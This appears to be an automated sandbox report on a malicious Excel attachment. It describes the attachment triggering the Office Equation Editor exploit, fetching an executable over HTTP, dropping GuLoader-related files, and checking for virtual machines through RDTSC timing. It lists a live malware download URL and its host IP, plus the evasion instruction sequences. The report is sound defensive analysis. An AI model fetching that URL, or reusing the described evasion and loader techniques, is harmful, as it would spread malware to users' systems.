Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\AEGISIIINVHelper.pdb source: AEGISIIINVHelper.dll.4.dr

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.1176745536.0000000003A60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_708A30C0 push eax; ret 4_2_708A30EE
PE file contains sections with non-standard names
Source: wxbase30u_xml_gcc_custom.dll.4.dr Static PE information: section name: .xdata
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_708A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_708A1BFF
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\AsSQLHelper.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nszEA61.tmp\System.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\wxbase30u_xml_gcc_custom.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.svchost[1].exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\AEGISIIINVHelper.dll Jump to dropped file
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0342056E LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_0342056E
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 0000000003A6116E second address: 0000000003A6116E instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FCA090E82A3h 0x00000006 cmp cx, 133Bh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d cmp al, E6h 0x0000000f rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 852 Thread sleep time: -360000s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\Public\vbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AsSQLHelper.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wxbase30u_xml_gcc_custom.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AEGISIIINVHelper.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406850 FindFirstFileW,FindClose, 4_2_00406850
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C26 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C26
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: vbc.exe, 00000004.00000002.1176666558.00000000009EF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_708A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_708A1BFF
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03420677 mov edx, dword ptr fs:[00000030h] 2_2_03420677
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040350A
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 623901 Sample: OR17233976_00019489_2017061... Startdate: 10/05/2022 Architecture: WINDOWS Score: 100 33 Found malware configuration 2->33 35 Antivirus detection for URL or domain 2->35 37 Multi AV Scanner detection for submitted file 2->37 39 8 other signatures 2->39 6 EQNEDT32.EXE 12 2->6         started        11 EXCEL.EXE 34 32 2->11         started        process3 dnsIp4 31 103.149.13.182, 49173, 80 VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN unknown 6->31 17 C:\Users\user\AppData\...\.svchost[1].exe, PE32 6->17 dropped 19 C:\Users\Public\vbc.exe, PE32 6->19 dropped 41 Office equation editor establishes network connection 6->41 43 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->43 13 vbc.exe 1 25 6->13         started        21 ~$OR17233976_00019...20170619154218.xlsx, data 11->21 dropped file5 signatures6 process7 file8 23 C:\Users\...\wxbase30u_xml_gcc_custom.dll, PE32+ 13->23 dropped 25 C:\Users\user\AppData\Local\...\System.dll, PE32 13->25 dropped 27 C:\Users\user\AppData\...\AsSQLHelper.dll, PE32+ 13->27 dropped 29 C:\Users\user\...\AEGISIIINVHelper.dll, PE32+ 13->29 dropped 45 Tries to detect virtualization through RDTSC time measurements 13->45 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.149.13.182
 unknown unknown
135905 VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://103.149.13.182/365space/.svchost.exe true
  • 4%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown